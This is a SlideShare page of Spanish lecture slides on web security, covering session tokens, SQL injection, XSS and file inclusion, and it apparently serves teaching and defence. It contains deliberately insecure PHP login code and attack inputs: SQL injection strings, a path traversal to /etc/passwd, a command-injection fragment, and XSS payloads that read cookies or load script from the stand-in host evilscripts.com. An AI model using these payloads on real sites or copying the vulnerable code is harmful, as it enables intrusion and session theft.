SlideShare a Scribd company logo
1 of 47
Download to read offline
Seguridad en Web
¿Por qué la web?
¿Por qué la web?
●
Omnipresente
●
Gran superficie de ataque
– servidores de empresas
– servidores personales
– clientes en todas las plataformas
– dispositivos móviles
– configuración de equipos vía web
¿Por qué la web?
●
Muy flexible = muy complejo = hay muchos elementos
– Se puede romper por muchas partes
●
Cliente
●
Servidor
●
código dinámico en el cliente
●
código dinámico en el servidor
●
comunicaciones con base de datos
●
Es difícil verificarlos todos
●
Cualquiera puede = lenguajes fáciles
– programados de forma casual
– se verifican hasta conseguir que la pagina funcione
●
que haga lo que yo quiero que haga
●
Pero no me importa si se rompe por mil partes
●
Nadie se preocupa por que no haga lo que no debe
¿Por qué la web?
●
Porque existe gente a la que no se le debería
dejar programar ni el fin de semana
El modelo de la web
El modelo de la web
●
Clientes y servidores
●
Protocolo HTTP
●
Código en servidor (PHP, ASP, CGI...)
●
Peticiones a bases de datos
●
Dibujo HTML
●
Código en cliente (Java, Javascript...)
●
Formularios
Cliente
Navegador
Servidor
Web
php...
ficheros
DB
js...
motor
dibujo
HTML
HTTP
formularios
El modelo de la web
●
Esencialmente es sin estado
– ¡¡Sin embargo se usa para tener sesiones de usuarios con contraseña !!
●
Como se hacen sesiones en un sistema sin estado?
– Cookies
– otros tokens
●
Se permite al servidor almacenar variables en el cliente
Cliente
Navegador
Servidor
Web
php...
ficheros
DB
js...
motor
dibujo
HTML
HTTP
formularios
Que puedo atacar
Que puedo atacar?
●
Vulnerabilidades del servidor web
– Cada vez más complejos
– Muy revisados por ser los programas más expuestos
– Sus vulnerabilidades se corrigen rápidamente
●
Vulnerabilidades del navegador
– Programas muy complejos
– Las vulnerabilidades duran más
●
usuarios no siempre actualizan
●
El código generando paginas
– Muchas veces escrito de forma poco profesional
– Normalmente input validation de muchos tipos
Que puedo atacar?
●
La autenticación y autorización
– Ataques a los mecanismos de sesiones y autenticación
●
El código en el cliente
– Código inyectado al cliente
●
desde otros sitios
●
en el enlace
●
Gusanos de javascript
●
…
Atacando la WEB
Indice de ataque
●
Seguridad en WWW
– Seguridad en la autenticación
– Seguridad en la autorización
– Ataques de validación de entrada
– Cross-site scripting
Ataques autorización web
Authorization
●
Usando sesiones en un sistema pensado
para ser “sin estado”
– El usuario se autentifica en una pagina
– a continuación navega por el sitio usando
los privilegios ganados
– El sistema debe recordar que se
autentifico
●
¿Como se sabe que la petición esta
relacionada con la autenticación inicial?
– Estoy enviando la autenticación cada vez?
●
en Basic y Digest: SI
– El cliente consigue algo que puede
presentar cada vez como prueba de
autenticación
●
token
Cliente
Navegador
Servidor
Web
user:
pass:
GET
login page
POST u+p
ok
welcome
[comprar]
GET
compra ok
Sesiones
●
3 formas de mantener tokens y sesiones
– Variables de URI
●
Se genera un identificador de sesión aleatorio y en los enlaces de esa sesión se
pasa como variable de GET
– Variables de formularios ocultas (y formularios con POST)
●
Se genera un identificador de sesión aleatorio y en las páginas de esa sesión se
añade una variable oculta a los formularios
– Cookies
●
Permiten almacenar una variable en el cliente que la enviará de vuelta cada vez
que pida una página de ese servidor
http://miweb.com/compras/index.php?session_id=1263716221
<input type=HIDDEN name=session_id value=1263716221>
Sesiones: ejemplo
●
Tokens
– Identifican la sesión
a la que pertenece la
petición
●
Autorización
– Procesa las
peticiones de los
tokens establecidos
user+pass+sid=1001
Cliente
Navegador
Servidor
Web
user:
pass:
welcome
[comprar]
welcome
[comprar]
Cliente
Navegador
sid=1001
sid=1001
sin sid
user:
pass:
sid=3106
sid=3106
producto+sid=1001
sid=1001
sin sid
user:
pass:
Sesiones: ejemplo en PHP
●
Pagina sencilla con autenticación
●
Si la sesión ya existe la variable $dentro nos dice si el usuario ya ha demostrado su
identidad o no
●
Si vienen datos user, pass de un formulario podemos cambiar el valor de $dentro o bien
apuntar que debemos dar error de intento no valido
●
Si la sesión no existía se generara un id y se guardara en una cookie PHPSESSID
<?php
session_start();
$dentro=$_SESSION['dentro'];
$user=$_POST['user'];
$pass=$_POST['pass'];
if ( isset($user) ) {
if ( $user=="yo" and $pass=="pas" ) {
$dentro=1;
$_SESSION['dentro']=$dentro;
} else {
$wronglogin=1;
}
}
?>
Sesiones: ejemplo en PHP
●
El contenido de la página depende de las variables
●
¿Qué problemas tiene esta página?
<?php
if ( $dentro == 1 ) {
?>
<h1>Pagina privada</h1>
No deberias ver esto sin tener la contraseña
...
<?php
} else {
?>
<?php
if ( $wronglogin==1 ) {
echo "<h1 style="color: red;">Error usuario o contraseña incorrecto</h1>";
}
?>
<h2>Demuestre su identidad</h2>
<form method=POST action=./index.php>
User:<br><input type=text name=user><br>
Password:<br><input type=password name=pass>
<br>
<input type=submit name=s value="Enter">
</form>
<?php } ?>
Cookies y sesiones
Sending cookies
●
Al pedir la primera vez la página anterior
●
Al pedirla otra vez
GET /login.php HTTP/1.1
Host: www.unavarra.es
[...]
HTTP/1.x 200 OK
Set­Cookie: PHPSESSID=7855b7336334942b8d8e7315eebe57f9; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Content­Length: 414
Content­Type: text/html
[...]
POST /login.php HTTP/1.1
Host: www.unavarra.es
Cookie: PHPSESSID=7855b7336334942b8d8e7315eebe57f9
Content­Type: application/x­www­form­urlencoded
Content­Length: 28
user=minombre&pass=unapalabra
HTTP/1.x 200 OK
Content­Length: 481
Content­Type: text/html
[...]
Ataques a los tokens
●
Pero la cookie que se envía esta bajo el control del usuario
– Navegadores que dejan editarlas
– Si envío la cookie de la sesión de otro usuario me convierto en ese usuario
●
Ataques
– Session prediction
●
¿Puedo predecir qué tokens se estarán usando?
– Session hijack
●
secuestro de sesión
●
¿Puedo robar un token a un usuario autentificado?
●
Session fixation
– ¿Puedo imponer un token a un usuario?
●
¿Para qué me vale?
Ataques a los tokens
●
Session prediction
– Recoger gran cantidad de tokens
– Análisis estadístico..
●
¿se puede preveer información sobre los siguientes?
– Fuerza bruta sobre los tokens más probables hasta encontrar uno que haya sido asignado a un usuario y se haya
autentificado
●
Session hijack (secuestro de sesión)
– Puedo robar un token a un usuario autentificado?
●
Multiples técnicas. Basadas en web o con técnicas de intrusión
Servidor
Web
token=1001
token=1001
Ataques a los tokens
●
Session fixation
– Puedo imponer un token a un usuario?
– Si consigo que un usuario abra la sesión con el token que yo
quiera...
Servidor
Web
token=1001
token=1001
autentificacion
con token=1001
Consejos para programar webs
seguras
●
Usar SSL / HTTPS
– Marcar cookies como seguras hace que solo se transmitan a
través de conexiones HTTPS
●
No programar tu sistema de tokens
– Es muy fácil cometer errores de protocolo
– usar los proporcionados por librerías seguras
●
usar sesiones de PHP en lugar de hacerlas yo mismo
●
Regenerar las sesiones con los cambios de privilegios
– Para evitar session fixation
Input validation
Input validation contra Web
●
Ataques básicos
– Canonicalization
●
Añadir ../ para bajar directorios en una variable que acabara siendo
utilizada para calcular un path
●
Uso de caracteres urlencoded %00 %0a para partir cadenas
●
Ejemplo: ${nombre}.jpg puede transformarse en ../../../../../../../etc/passwd
%00.jpg
– Provocar errores con valores inesperados en campos
●
Información en los mensajes de error
●
Ejecución de comandos con | & ;
●
Si los datos acaban formando parte de un comando a ejecutar
– Ejemplo: añadir ; cat /etc/passwd
– SQL injection
Input validation
SQL injection
SQL injection
●
Ataque de validación de entrada típico
– Lo que escribo como usuario y pass en el formulario acabara en
variables y se usara para construir una query a la BBDD
●
Que ocurre si el usuario escribe cosas de este tipo
– Usuario: 1' or '1'='1
– Pass: 1' or '1'='1
SELECT * FROM login WHERE user='1' OR '1'='1' AND pass='1' OR '1'='1';
$user = $_POST['user'];
$pass = $_POST['password'];
SELECT * FROM login WHERE user='$user' AND pass='$pass';
●
Buscando el usuario…
●
Cuidado con los fallos de seguridad de este código…
– Si usáis este cualquiera podrá entrar
$login_usuario_ok=false;
if ($entrada_login) {
$consulta_usuario="select * from Personas where nombre="".$i_nombre."" and
pass="".$i_pass.""";
$result_usuario=mysql_query($consulta_usuario);
if ( $result_usuario==false ) {
print("error al buscar usuario".mysql_error()."n");
exit();
}
if (mysql_num_rows($result_usuario)>0) {
$mi_info=mysql_fetch_assoc($result_usuario);
$login_usuario_ok=true;
print_r($mi_info);
}
}
Ejemplo: chat.php
●
Que pasa si ponemos un usuario como este?
●
La consulta devuelve todos los usuarios !!!
●
Que hace el código anterior si la consulta devuelve todos los usuarios?
simplemente usa el primero !!
usuario: xxx” or “1”=“1
pass: xxx” or “1”=“1
SQL injection
“select * from Personas where nombre="".$i_nombre."" and pass="".$i_pass.""
select * from Personas where nombre="xxx” or “1”=“1" and pass="xxx” or “1”=“1"
●
Si lo que llega del usuario se supone que tiene que ser texto
sin “ ‘ o caracteres raros, asegurare de eliminarlos
– Con str_replace o similares
– Con funciones de mysql que quitan los caracteres peligrosos
●
mysql_real_escape_string()
Recuerda siempre
$i_nombre = mysql_real_escape_string( $i_nombre );
●
Lo mismo ocurre en los campos de entrada
●
Cuidado si el atacante sabe mas SQL que tu :-)
$recibiendo_userid=false;
if ( isset( $_GET["i_userid"] ) ) {
$recibiendo_userid=true;
$i_userid=$_GET["i_userid"];
}
…
$consulta="select * from Mensajes, Personas where Mensajes.src_nia=Personas.nia and
Mensajes.src_nia=".$i_userid;
Mas inyección SQL
i_userid=52403
i_userid=52403+(select+2>1)
i_userid=52403+union+select+pass+from+users;
●
Si lo que llega del usuario se supone que tiene que ser
un número conviértelo a número
– Aunque venga de un menu
Recuerda siempre
$i_userid = intval($i_userid);
SQL injection
●
Más variedades
– Poner caracteres con significados para SQL como ' " -- ;
– pueden llegar a romper la query y conseguir cosas
– A veces sólo con producir errores que den información de la
base de datos ya es algo
– Técnicas más sofisticadas que obtienen información incluso
aunque no salgan resultados de la query en la pagina
●
Blind SQL injection
HTML injection XSS
HTML injection XSS
●
Insertar código HTML en variables que no esperan HTML, causando que
un atacante tenga control sobre el dibujo de una página ajena
●
Una página que repite la información proporcionada en un campo puede
ser vulnerable
●
¿Qué ocurre si ponemos código HTML?
HTML injection XSS
●
Probamos
– <img src=”...”></img>
●
El HTML no se elimina y llega
de vuelta
– Dominando HTML se pueden llegar
a hacer muchas modificaciones
– Incluyendo añadir secciones con
posicionamiento vía CSS que
oculten otras partes de la pagina
original
HTML injection XSS
●
Pero es más peligroso si incluimos Javascript
– <script>… document.cookie ...</script>
HTML injection XSS
●
Inyectar en un campo
– <script>document.write(document.cookie)</script>
– <script>alert(‘hola’)</script>
– <script src=”http://evilscripts.com/do.js”></script>
– Cualquier cosa que se pueda hacer con javascript puede
hacerse en la página de otro
●
Hasta ahora solo hemos visto como modificar una página
de otro vista en tu navegador.
– ¿Como se puede usar esto para hacer el mal?
HTML injection XSS
●
Si los datos que metemos en un formulario pueden pasarse por GET...
●
http://www.unavarra.es/webmail.php?user=<script>...
– Puedo construir una pagina que enlace a otra metiendo datos que la modifiquen (cross-site scripting)
●
Y no hablamos ya de cuando ese HTML es persistente
– Foros
– Weblogs
– Redes sociales
●
Ampliamente usado para ataques a las cookies:
– Hotmail
– Gmail
– facebook
●
Usado robos de identidad
– consiguiendo que la página de una entidad haga algo diferente
– El usuario confia porque ve claramente que es su banco
●
XSS cross site scripting
– Se refiere a cuando cargamos el código javascript de otra pagina
File inclusion
File inclusion
●
Y si dejo a un usuario subir un fichero
para que lo sirva el servidor?
– Parecido al HTML mirroring…
●
Es peligroso?
– ¡¡¡Nunca dejar al usuario subir ficheros y que
elija el nombre!!!
– PHP inclusion
– PhpShell !!!
Conclusiones
Conclusiones
●
Validación de formularios con javascript es inutil
– Se puede hacer por ayudar al usuario pero el servidor
debe volver a validarlo
●
No dar por supuesto nada sobre los datos de
entrada
– Expect the unexpected
●
Limpiar con expresiones regulares
●
Asegurarse de que solo hay lo que queremos
Conclusiones
●
Asegurarse de que solo hay lo que queremos
Conclusiones
●
Gran variedad de ataques contra la
web
– Contra la autenticación y autorización
– Contra los servidores que alojan las páginas
– Contra otros usuarios de los servidores
●
Es el frente más atacado
– es fundamental comprender en que se basan
para poder defenderse

More Related Content

Similar to Seguridad en la web

Argentesting 2018 - Incorporando seguridad a las tareas de testing
Argentesting 2018 - Incorporando seguridad a las tareas de testingArgentesting 2018 - Incorporando seguridad a las tareas de testing
Argentesting 2018 - Incorporando seguridad a las tareas de testingArgentesting
 
Asegurando APIs en Symfony con JWT
Asegurando APIs en Symfony con JWTAsegurando APIs en Symfony con JWT
Asegurando APIs en Symfony con JWTIgnacio Martín
 
Seguridad web para desarrolladores - OWASP
Seguridad web para desarrolladores - OWASPSeguridad web para desarrolladores - OWASP
Seguridad web para desarrolladores - OWASPMarcos Harasimowicz
 
Potencia Tu Sitio Web De La Mano De Internet Explorer 8
Potencia Tu Sitio Web De La Mano De Internet Explorer 8Potencia Tu Sitio Web De La Mano De Internet Explorer 8
Potencia Tu Sitio Web De La Mano De Internet Explorer 8Andrés Iturralde
 
2012 07 03-04 ga renovado ged
2012 07 03-04 ga renovado ged2012 07 03-04 ga renovado ged
2012 07 03-04 ga renovado gedEli Garcia
 
Los 7 pecados del Desarrollo Web
Los 7 pecados del Desarrollo WebLos 7 pecados del Desarrollo Web
Los 7 pecados del Desarrollo Webacksec
 
Implementar la seguridad en el acceso a datos
Implementar la seguridad en el acceso a datosImplementar la seguridad en el acceso a datos
Implementar la seguridad en el acceso a datosHelmilpa
 
Los 10 principales riesgos en aplicaciones web #CPMX5
Los 10 principales riesgos en aplicaciones web #CPMX5Los 10 principales riesgos en aplicaciones web #CPMX5
Los 10 principales riesgos en aplicaciones web #CPMX5SemanticWebBuilder
 
Seguridad en los videojuegos - GoD Mode
Seguridad en los videojuegos - GoD ModeSeguridad en los videojuegos - GoD Mode
Seguridad en los videojuegos - GoD ModeZink Security
 
Introducción a la analítica web - Menorca 2013
Introducción a la analítica web - Menorca 2013Introducción a la analítica web - Menorca 2013
Introducción a la analítica web - Menorca 2013Iván de León
 
Open platform - Hernan Di Chello / José Garcia
Open platform  - Hernan Di Chello / José GarciaOpen platform  - Hernan Di Chello / José Garcia
Open platform - Hernan Di Chello / José Garciafsolari
 
Fernando Tellado & Fernando Puente: WPO y optimización de resultados de tu Wo...
Fernando Tellado & Fernando Puente: WPO y optimización de resultados de tu Wo...Fernando Tellado & Fernando Puente: WPO y optimización de resultados de tu Wo...
Fernando Tellado & Fernando Puente: WPO y optimización de resultados de tu Wo...SiteGround España
 
Google Analytics para Desarrolladores
Google Analytics para DesarrolladoresGoogle Analytics para Desarrolladores
Google Analytics para DesarrolladoresBruno Barbieri
 
Vulnerabilidades en Aplicaciones Web PHP
Vulnerabilidades en Aplicaciones Web PHPVulnerabilidades en Aplicaciones Web PHP
Vulnerabilidades en Aplicaciones Web PHPMoises Silva
 
Asegúr@IT III - Ataques SQL Injection masivos
Asegúr@IT III - Ataques SQL Injection masivosAsegúr@IT III - Ataques SQL Injection masivos
Asegúr@IT III - Ataques SQL Injection masivosChema Alonso
 

Similar to Seguridad en la web (20)

Argentesting 2018 - Incorporando seguridad a las tareas de testing
Argentesting 2018 - Incorporando seguridad a las tareas de testingArgentesting 2018 - Incorporando seguridad a las tareas de testing
Argentesting 2018 - Incorporando seguridad a las tareas de testing
 
Asegurando APIs en Symfony con JWT
Asegurando APIs en Symfony con JWTAsegurando APIs en Symfony con JWT
Asegurando APIs en Symfony con JWT
 
Seguridad web para desarrolladores - OWASP
Seguridad web para desarrolladores - OWASPSeguridad web para desarrolladores - OWASP
Seguridad web para desarrolladores - OWASP
 
Robo desesionesfinal
Robo desesionesfinalRobo desesionesfinal
Robo desesionesfinal
 
Potencia Tu Sitio Web De La Mano De Internet Explorer 8
Potencia Tu Sitio Web De La Mano De Internet Explorer 8Potencia Tu Sitio Web De La Mano De Internet Explorer 8
Potencia Tu Sitio Web De La Mano De Internet Explorer 8
 
Tema 3 - Seguridad en Internet
Tema 3 - Seguridad en InternetTema 3 - Seguridad en Internet
Tema 3 - Seguridad en Internet
 
2012 07 03-04 ga renovado ged
2012 07 03-04 ga renovado ged2012 07 03-04 ga renovado ged
2012 07 03-04 ga renovado ged
 
Los 7 pecados del Desarrollo Web
Los 7 pecados del Desarrollo WebLos 7 pecados del Desarrollo Web
Los 7 pecados del Desarrollo Web
 
Implementar la seguridad en el acceso a datos
Implementar la seguridad en el acceso a datosImplementar la seguridad en el acceso a datos
Implementar la seguridad en el acceso a datos
 
Los 10 principales riesgos en aplicaciones web #CPMX5
Los 10 principales riesgos en aplicaciones web #CPMX5Los 10 principales riesgos en aplicaciones web #CPMX5
Los 10 principales riesgos en aplicaciones web #CPMX5
 
Seguridad en los videojuegos - GoD Mode
Seguridad en los videojuegos - GoD ModeSeguridad en los videojuegos - GoD Mode
Seguridad en los videojuegos - GoD Mode
 
Introducción a la analítica web - Menorca 2013
Introducción a la analítica web - Menorca 2013Introducción a la analítica web - Menorca 2013
Introducción a la analítica web - Menorca 2013
 
as
asas
as
 
S2-PD2-Web Forms
S2-PD2-Web FormsS2-PD2-Web Forms
S2-PD2-Web Forms
 
Open platform - Hernan Di Chello / José Garcia
Open platform  - Hernan Di Chello / José GarciaOpen platform  - Hernan Di Chello / José Garcia
Open platform - Hernan Di Chello / José Garcia
 
Fernando Tellado & Fernando Puente: WPO y optimización de resultados de tu Wo...
Fernando Tellado & Fernando Puente: WPO y optimización de resultados de tu Wo...Fernando Tellado & Fernando Puente: WPO y optimización de resultados de tu Wo...
Fernando Tellado & Fernando Puente: WPO y optimización de resultados de tu Wo...
 
Google Analytics para Desarrolladores
Google Analytics para DesarrolladoresGoogle Analytics para Desarrolladores
Google Analytics para Desarrolladores
 
Vulnerabilidades en Aplicaciones Web PHP
Vulnerabilidades en Aplicaciones Web PHPVulnerabilidades en Aplicaciones Web PHP
Vulnerabilidades en Aplicaciones Web PHP
 
Disi codeigniter
Disi codeigniterDisi codeigniter
Disi codeigniter
 
Asegúr@IT III - Ataques SQL Injection masivos
Asegúr@IT III - Ataques SQL Injection masivosAsegúr@IT III - Ataques SQL Injection masivos
Asegúr@IT III - Ataques SQL Injection masivos
 

Recently uploaded

Presentación de proyecto y resumen de conceptos (3).pdf
Presentación de proyecto y resumen de conceptos (3).pdfPresentación de proyecto y resumen de conceptos (3).pdf
Presentación de proyecto y resumen de conceptos (3).pdflisCuenca
 
Responsabilidad de padres con sus hijos (1).pptx
Responsabilidad de padres con sus hijos (1).pptxResponsabilidad de padres con sus hijos (1).pptx
Responsabilidad de padres con sus hijos (1).pptxROSARIODELPILARMERIN
 
Carbohidratos utilizados en la industria alimentaria.pdf
Carbohidratos utilizados en la industria alimentaria.pdfCarbohidratos utilizados en la industria alimentaria.pdf
Carbohidratos utilizados en la industria alimentaria.pdfJESUSGARRIDOISLAS1
 
Diseño digital - M. Morris Mano - 3ed.pdf
Diseño digital - M. Morris Mano - 3ed.pdfDiseño digital - M. Morris Mano - 3ed.pdf
Diseño digital - M. Morris Mano - 3ed.pdfssuserf46a26
 
Automatizacion Industria_Teoria y Control (1).pdf
Automatizacion Industria_Teoria y Control (1).pdfAutomatizacion Industria_Teoria y Control (1).pdf
Automatizacion Industria_Teoria y Control (1).pdfSAULMUOZ16
 
Diagramas de Tiempo.pptpara electronica aplicada
Diagramas de Tiempo.pptpara electronica aplicadaDiagramas de Tiempo.pptpara electronica aplicada
Diagramas de Tiempo.pptpara electronica aplicadaSantiago Luis Gómez
 
2021-MAYO-CAP-RL_SEGURIDAD-PARA-DELEGADOS_08.05.21-ENVIADO.pdf
2021-MAYO-CAP-RL_SEGURIDAD-PARA-DELEGADOS_08.05.21-ENVIADO.pdf2021-MAYO-CAP-RL_SEGURIDAD-PARA-DELEGADOS_08.05.21-ENVIADO.pdf
2021-MAYO-CAP-RL_SEGURIDAD-PARA-DELEGADOS_08.05.21-ENVIADO.pdfAdolfo Acero Aguilar
 
REGLA DE PROBABILIDADES Y REGLA DE BAYES.pptx
REGLA DE PROBABILIDADES  Y REGLA DE BAYES.pptxREGLA DE PROBABILIDADES  Y REGLA DE BAYES.pptx
REGLA DE PROBABILIDADES Y REGLA DE BAYES.pptxJhonLeon59
 
CLASES DE ARRANQUE DE UN MOTOR ELECTRICO.pptx
CLASES DE ARRANQUE DE UN MOTOR ELECTRICO.pptxCLASES DE ARRANQUE DE UN MOTOR ELECTRICO.pptx
CLASES DE ARRANQUE DE UN MOTOR ELECTRICO.pptxLuisLobatoingaruca
 
PRACTICAS_DE_AUTOMATIZACION_industrial (1).pdf
PRACTICAS_DE_AUTOMATIZACION_industrial (1).pdfPRACTICAS_DE_AUTOMATIZACION_industrial (1).pdf
PRACTICAS_DE_AUTOMATIZACION_industrial (1).pdfjorge477728
 
707555966-El-Libro-de-La-Inteligencia-Artificial-Version-11-Alfredovela.pdf
707555966-El-Libro-de-La-Inteligencia-Artificial-Version-11-Alfredovela.pdf707555966-El-Libro-de-La-Inteligencia-Artificial-Version-11-Alfredovela.pdf
707555966-El-Libro-de-La-Inteligencia-Artificial-Version-11-Alfredovela.pdfErnestoCano12
 
Diseno de Estructuras de Acero - 5ta Ed - McCormac.pdf
Diseno de Estructuras de Acero - 5ta Ed - McCormac.pdfDiseno de Estructuras de Acero - 5ta Ed - McCormac.pdf
Diseno de Estructuras de Acero - 5ta Ed - McCormac.pdfEdwinHurtado31
 
368165951-Procedimiento-de-Gruas-e-Izaje.doc
368165951-Procedimiento-de-Gruas-e-Izaje.doc368165951-Procedimiento-de-Gruas-e-Izaje.doc
368165951-Procedimiento-de-Gruas-e-Izaje.docangelmt2
 
ESFUERZO EN VIGAS SESIÓN 5 PROBLEMA RESUELTOS.pdf
ESFUERZO EN VIGAS SESIÓN 5 PROBLEMA RESUELTOS.pdfESFUERZO EN VIGAS SESIÓN 5 PROBLEMA RESUELTOS.pdf
ESFUERZO EN VIGAS SESIÓN 5 PROBLEMA RESUELTOS.pdfSegundo Silva Maguiña
 
TERRENO DE FUNDACION - CURSO DE PAVIMENTOS
TERRENO DE FUNDACION - CURSO DE PAVIMENTOSTERRENO DE FUNDACION - CURSO DE PAVIMENTOS
TERRENO DE FUNDACION - CURSO DE PAVIMENTOSELIAS RAMIREZ JUAREZ
 
TR-514 (3) - BIS copia seguridad DOS COLUMNAS 2024 20.5 PREFERIDO.wbk.wbk SEG...
TR-514 (3) - BIS copia seguridad DOS COLUMNAS 2024 20.5 PREFERIDO.wbk.wbk SEG...TR-514 (3) - BIS copia seguridad DOS COLUMNAS 2024 20.5 PREFERIDO.wbk.wbk SEG...
TR-514 (3) - BIS copia seguridad DOS COLUMNAS 2024 20.5 PREFERIDO.wbk.wbk SEG...FRANCISCOJUSTOSIERRA
 
DIAGRAMAS PID automatizacion y control.ppt
DIAGRAMAS PID automatizacion y control.pptDIAGRAMAS PID automatizacion y control.ppt
DIAGRAMAS PID automatizacion y control.pptalisonsarmiento4
 
Escenario económico - Desarrollo sustentable
Escenario económico - Desarrollo sustentableEscenario económico - Desarrollo sustentable
Escenario económico - Desarrollo sustentableJosPealoza7
 

Recently uploaded (20)

Presentación de proyecto y resumen de conceptos (3).pdf
Presentación de proyecto y resumen de conceptos (3).pdfPresentación de proyecto y resumen de conceptos (3).pdf
Presentación de proyecto y resumen de conceptos (3).pdf
 
Responsabilidad de padres con sus hijos (1).pptx
Responsabilidad de padres con sus hijos (1).pptxResponsabilidad de padres con sus hijos (1).pptx
Responsabilidad de padres con sus hijos (1).pptx
 
Carbohidratos utilizados en la industria alimentaria.pdf
Carbohidratos utilizados en la industria alimentaria.pdfCarbohidratos utilizados en la industria alimentaria.pdf
Carbohidratos utilizados en la industria alimentaria.pdf
 
Diseño digital - M. Morris Mano - 3ed.pdf
Diseño digital - M. Morris Mano - 3ed.pdfDiseño digital - M. Morris Mano - 3ed.pdf
Diseño digital - M. Morris Mano - 3ed.pdf
 
Automatizacion Industria_Teoria y Control (1).pdf
Automatizacion Industria_Teoria y Control (1).pdfAutomatizacion Industria_Teoria y Control (1).pdf
Automatizacion Industria_Teoria y Control (1).pdf
 
Diagramas de Tiempo.pptpara electronica aplicada
Diagramas de Tiempo.pptpara electronica aplicadaDiagramas de Tiempo.pptpara electronica aplicada
Diagramas de Tiempo.pptpara electronica aplicada
 
2021-MAYO-CAP-RL_SEGURIDAD-PARA-DELEGADOS_08.05.21-ENVIADO.pdf
2021-MAYO-CAP-RL_SEGURIDAD-PARA-DELEGADOS_08.05.21-ENVIADO.pdf2021-MAYO-CAP-RL_SEGURIDAD-PARA-DELEGADOS_08.05.21-ENVIADO.pdf
2021-MAYO-CAP-RL_SEGURIDAD-PARA-DELEGADOS_08.05.21-ENVIADO.pdf
 
REGLA DE PROBABILIDADES Y REGLA DE BAYES.pptx
REGLA DE PROBABILIDADES  Y REGLA DE BAYES.pptxREGLA DE PROBABILIDADES  Y REGLA DE BAYES.pptx
REGLA DE PROBABILIDADES Y REGLA DE BAYES.pptx
 
CLASES DE ARRANQUE DE UN MOTOR ELECTRICO.pptx
CLASES DE ARRANQUE DE UN MOTOR ELECTRICO.pptxCLASES DE ARRANQUE DE UN MOTOR ELECTRICO.pptx
CLASES DE ARRANQUE DE UN MOTOR ELECTRICO.pptx
 
PRACTICAS_DE_AUTOMATIZACION_industrial (1).pdf
PRACTICAS_DE_AUTOMATIZACION_industrial (1).pdfPRACTICAS_DE_AUTOMATIZACION_industrial (1).pdf
PRACTICAS_DE_AUTOMATIZACION_industrial (1).pdf
 
707555966-El-Libro-de-La-Inteligencia-Artificial-Version-11-Alfredovela.pdf
707555966-El-Libro-de-La-Inteligencia-Artificial-Version-11-Alfredovela.pdf707555966-El-Libro-de-La-Inteligencia-Artificial-Version-11-Alfredovela.pdf
707555966-El-Libro-de-La-Inteligencia-Artificial-Version-11-Alfredovela.pdf
 
Diseno de Estructuras de Acero - 5ta Ed - McCormac.pdf
Diseno de Estructuras de Acero - 5ta Ed - McCormac.pdfDiseno de Estructuras de Acero - 5ta Ed - McCormac.pdf
Diseno de Estructuras de Acero - 5ta Ed - McCormac.pdf
 
368165951-Procedimiento-de-Gruas-e-Izaje.doc
368165951-Procedimiento-de-Gruas-e-Izaje.doc368165951-Procedimiento-de-Gruas-e-Izaje.doc
368165951-Procedimiento-de-Gruas-e-Izaje.doc
 
ESFUERZO EN VIGAS SESIÓN 5 PROBLEMA RESUELTOS.pdf
ESFUERZO EN VIGAS SESIÓN 5 PROBLEMA RESUELTOS.pdfESFUERZO EN VIGAS SESIÓN 5 PROBLEMA RESUELTOS.pdf
ESFUERZO EN VIGAS SESIÓN 5 PROBLEMA RESUELTOS.pdf
 
TERRENO DE FUNDACION - CURSO DE PAVIMENTOS
TERRENO DE FUNDACION - CURSO DE PAVIMENTOSTERRENO DE FUNDACION - CURSO DE PAVIMENTOS
TERRENO DE FUNDACION - CURSO DE PAVIMENTOS
 
50870516-hidroponia. descargado en novppt
50870516-hidroponia. descargado en novppt50870516-hidroponia. descargado en novppt
50870516-hidroponia. descargado en novppt
 
TR-514 (3) - BIS copia seguridad DOS COLUMNAS 2024 20.5 PREFERIDO.wbk.wbk SEG...
TR-514 (3) - BIS copia seguridad DOS COLUMNAS 2024 20.5 PREFERIDO.wbk.wbk SEG...TR-514 (3) - BIS copia seguridad DOS COLUMNAS 2024 20.5 PREFERIDO.wbk.wbk SEG...
TR-514 (3) - BIS copia seguridad DOS COLUMNAS 2024 20.5 PREFERIDO.wbk.wbk SEG...
 
DIAGRAMAS PID automatizacion y control.ppt
DIAGRAMAS PID automatizacion y control.pptDIAGRAMAS PID automatizacion y control.ppt
DIAGRAMAS PID automatizacion y control.ppt
 
Escenario económico - Desarrollo sustentable
Escenario económico - Desarrollo sustentableEscenario económico - Desarrollo sustentable
Escenario económico - Desarrollo sustentable
 
ESTRATEGIA comercial de productos en mineria.pptx
ESTRATEGIA comercial de productos en mineria.pptxESTRATEGIA comercial de productos en mineria.pptx
ESTRATEGIA comercial de productos en mineria.pptx
 

Seguridad en la web

  • 3. ¿Por qué la web? ● Omnipresente ● Gran superficie de ataque – servidores de empresas – servidores personales – clientes en todas las plataformas – dispositivos móviles – configuración de equipos vía web
  • 4. ¿Por qué la web? ● Muy flexible = muy complejo = hay muchos elementos – Se puede romper por muchas partes ● Cliente ● Servidor ● código dinámico en el cliente ● código dinámico en el servidor ● comunicaciones con base de datos ● Es difícil verificarlos todos ● Cualquiera puede = lenguajes fáciles – programados de forma casual – se verifican hasta conseguir que la pagina funcione ● que haga lo que yo quiero que haga ● Pero no me importa si se rompe por mil partes ● Nadie se preocupa por que no haga lo que no debe
  • 5. ¿Por qué la web? ● Porque existe gente a la que no se le debería dejar programar ni el fin de semana
  • 6. El modelo de la web
  • 7. El modelo de la web ● Clientes y servidores ● Protocolo HTTP ● Código en servidor (PHP, ASP, CGI...) ● Peticiones a bases de datos ● Dibujo HTML ● Código en cliente (Java, Javascript...) ● Formularios Cliente Navegador Servidor Web php... ficheros DB js... motor dibujo HTML HTTP formularios
  • 8. El modelo de la web ● Esencialmente es sin estado – ¡¡Sin embargo se usa para tener sesiones de usuarios con contraseña !! ● Como se hacen sesiones en un sistema sin estado? – Cookies – otros tokens ● Se permite al servidor almacenar variables en el cliente Cliente Navegador Servidor Web php... ficheros DB js... motor dibujo HTML HTTP formularios
  • 10. Que puedo atacar? ● Vulnerabilidades del servidor web – Cada vez más complejos – Muy revisados por ser los programas más expuestos – Sus vulnerabilidades se corrigen rápidamente ● Vulnerabilidades del navegador – Programas muy complejos – Las vulnerabilidades duran más ● usuarios no siempre actualizan ● El código generando paginas – Muchas veces escrito de forma poco profesional – Normalmente input validation de muchos tipos
  • 11. Que puedo atacar? ● La autenticación y autorización – Ataques a los mecanismos de sesiones y autenticación ● El código en el cliente – Código inyectado al cliente ● desde otros sitios ● en el enlace ● Gusanos de javascript ● …
